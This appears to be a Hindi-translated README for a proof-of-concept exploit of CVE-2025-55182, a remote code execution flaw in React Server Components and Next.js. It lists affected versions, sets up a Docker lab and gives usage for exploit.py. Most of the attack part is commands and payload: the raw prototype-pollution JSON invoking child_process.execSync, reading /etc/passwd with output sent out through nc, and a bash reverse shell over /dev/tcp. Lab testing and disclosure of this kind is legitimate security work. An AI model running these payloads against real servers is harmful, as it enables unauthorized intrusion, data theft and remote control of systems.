
CVE-2025-55182 React2Shell PoC
CVE-2025-55182 के लिए एक प्रूफ ऑफ कॉन्सेप्ट शोषण, जो React Server Components में एक क्रिटिकल (CVSS 10.0) अप्रमाणित रिमोट कोड निष्पादन भेद्यता है।
द्वारा खोजा गया Lachlan Davidson - 29 नवंबर, 2025 को Meta/React टीम को सूचित किया गया।
यह भेद्यता React Flight प्रोटोकॉल के डीसेरियलाइज़ेशन तर्क में मौजूद है। HTTP POST के माध्यम से एक दुर्भावनापूर्ण पेलोड भेजकर, एक हमलावर प्रोटोटाइप प्रदूषण प्राप्त कर सकता है जो सर्वर पर मनमाना कोड निष्पादन की ओर ले जाता है।
| पैकेज | भेद्य संस्करण |
|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6 |
.
├── exploit.py # शोषण स्क्रिप्ट
├── docker-compose.yml # भेद्य परीक्षण वातावरण
├── vulnerable-app/ # भेद्य Next.js एप्लिकेशन
└── README.md
docker compose up -d
यह http://localhost:3000 पर एक भेद्य Next.js एप्लिकेशन प्रारंभ करता है।
python3 exploit.py -u http://localhost:3000 --check
यह संकेतकों के लिए एक गैर-शोषणकारी जाँच करता है जिसमें शामिल हैं:
python3 exploit.py -u http://localhost:3000 -c "id"
आउटपुट देखे बिना एक कमांड निष्पादित करता है। इसके साथ सत्यापित करें:
python3 exploit.py -u http://localhost:3000 -c "id" --exfil <IP>:<PORT>
आपका IP पता; सुनने के लिए पोर्ट
usage: exploit.py [-h] -u URL [-c COMMAND] [--check] [--exfil HOST:PORT]
[--timeout TIMEOUT] [--no-verify]
options:
-u, --url URL लक्ष्य URL
-c, --command CMD निष्पादित करने के लिए कमांड
--check जाँचें कि भेद्य है या नहीं (गैर-शोषणकारी)
--exfil HOST:PORT आउटपुट को HOST:PORT पर बाहर निकालें
--timeout TIMEOUT अनुरोध टाइमआउट (डिफ़ॉल्ट: 10)
--no-verify SSL सत्यापन अक्षम करें
# Check vulnerability
python3 exploit.py -u http://localhost:3000 --check
# Blind RCE
python3 exploit.py -u http://localhost:3000 -c "touch /tmp/pwned"
# RCE with output
python3 exploit.py -u http://localhost:3000 -c "whoami" --exfil 172.17.0.1:9999
# Read files
python3 exploit.py -u http://localhost:3000 -c "cat /etc/passwd" --exfil 172.17.0.1:9999
# Reverse shell
python3 exploit.py -u http://localhost:3000 -c "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\": \"$B0\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
शोषण निष्पादन के दौरान सर्वर स्थिति को दूषित कर देता है, जिससे इन-बैंड प्रतिक्रिया बाहर निकासी अविश्वसनीय हो जाती है। --exfil फ़्लैग आउट-ऑफ-बैंड बाहर निकासी का उपयोग करता है:
┌──────────┐ 1. Malicious POST ┌──────────┐
│ Attacker │ ──────────────────► │ Server │
└──────────┘ └──────────┘
▲ │
│ 3. Command output │ 2. RCE executes:
│ via nc │ cmd | nc attacker port
│ ▼
└─────────────────────────────────┘
docker compose down
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनका परीक्षण करने की आपको अनुमति है।